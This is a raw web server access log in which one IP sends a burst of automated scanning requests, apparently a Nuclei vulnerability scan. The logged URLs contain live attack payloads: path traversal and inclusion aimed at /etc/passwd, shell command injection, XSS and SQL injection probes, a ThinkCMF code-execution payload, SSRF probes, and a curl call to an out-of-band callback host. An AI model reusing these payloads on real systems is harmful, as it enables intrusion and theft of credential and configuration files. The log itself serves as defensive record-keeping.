[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /private-key HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/status HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/loggers HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/known_hosts HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/sqwebmail HTTP/1.1" 199
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.styleci.yml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.putty/202.181.208.139:443.ppk HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/storage/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.swp HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/databases.yml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-issues.yml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /moto/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/gateway/routes HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /b/l.e HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?action=Login&module=Users HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/routing?callback=fos.Router.setDatafoobarfoo HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pureweb/server/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/packages/security.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /security.yml HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asp/Main.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_profiler/empty/search/results?limit=10 HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sws/index.sws HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /synnefoclient/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/wanstatu?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/errors HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties.ini HTTP/1.1" 196
[09/Jan/2026:10:54:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/nkogo.txt HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/ping?count=5&host=;cat%20/etc/passwd;&port=80&source=1.1.1.1&type=icmp HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=jobs&category=1&lrw3e%22onmouseover=%22confirm(document.domain)%22style=%22position:absolute%3bwidth:100%25%3bheight:100%25%3btop:0%3bleft:0%3b%22k1n44=1 HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_fragment HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cps/test_backup_server?ACTION=TEST_IP&NOCONTINUE=TRUE HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pi.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?path=/settings/about HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/admin/admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_/.ssh/authorized_keys HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.sql HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://172.16.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/app.db HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tcpconfig.html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /registerUser.html?init=1 HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/manager/submit?group=1&username=iuwt4o&password=3ZAnOOQGXGJJ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //upload.sh HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI/login HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /guestLogin.html?guest=1 HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuators/logfile HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.z HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.war HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927580236 HTTP/1.1" -
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.tar HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://172.16.0.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/manager/html HTTP/1.1" 226
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //web/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?arg1=YWRtaW4%3D&arg2=dGltZWtlZXBlcg%3D%3D HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1337.txt HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /routes/error_log HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/download.php?absolute_dl=true&passed_id=1&passed_ent_id=1&mailbox=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/BrowserServlet HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/log.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/services/json/v1/settings HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data.sql HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/phpMyAdmin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dcim/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //asdf.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wc.db HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.cs HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/DownloadCfg/RouterCfm.jpg HTTP/1.1" 199
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /manager/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki/tiki-ajax_services.php?controller=comment&action=list&type=wiki+page&objectId=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-login_scr.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-forms/vendor/constantcontact/constantcontact/test/Json/Auth/token_info.json HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/properties.ini HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /token.json HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.sh HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /intikal/storage/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /provider.tf HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?a=fetch&content=%3C%3Fphp+file_put_contents%28%22380DI84updJ6HjEQM3JmJwPhfxf.php%22%2C%22%3C%3Fphp+echo+md5%28%22thinkcmf-rce%22%29%3Bunlink%28__FILE__%29%3B%22%29%3B HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/asp HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /documentation/login HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pma/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.txt HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jdkstatus HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-playground-html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/security.yml HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webcm?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Thumbs.db HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /thruk/cgi-bin/login.cgi?thruk/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/jsp/security/protected/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?/installer HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/heapdump HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/smoosh-status.yml HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/security.yml HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/dbstat/gettablessize HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /query?getcommand&cmd=curl+http://d5g6to2hausk1oj0j65g3r3to86dr7ex9.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator;/env; HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Partners/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app_dev.php/_profiler/empty/search/results?limit=10 HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /thruk/cgi-bin/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sso/v2/sso/jwt?error_url=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
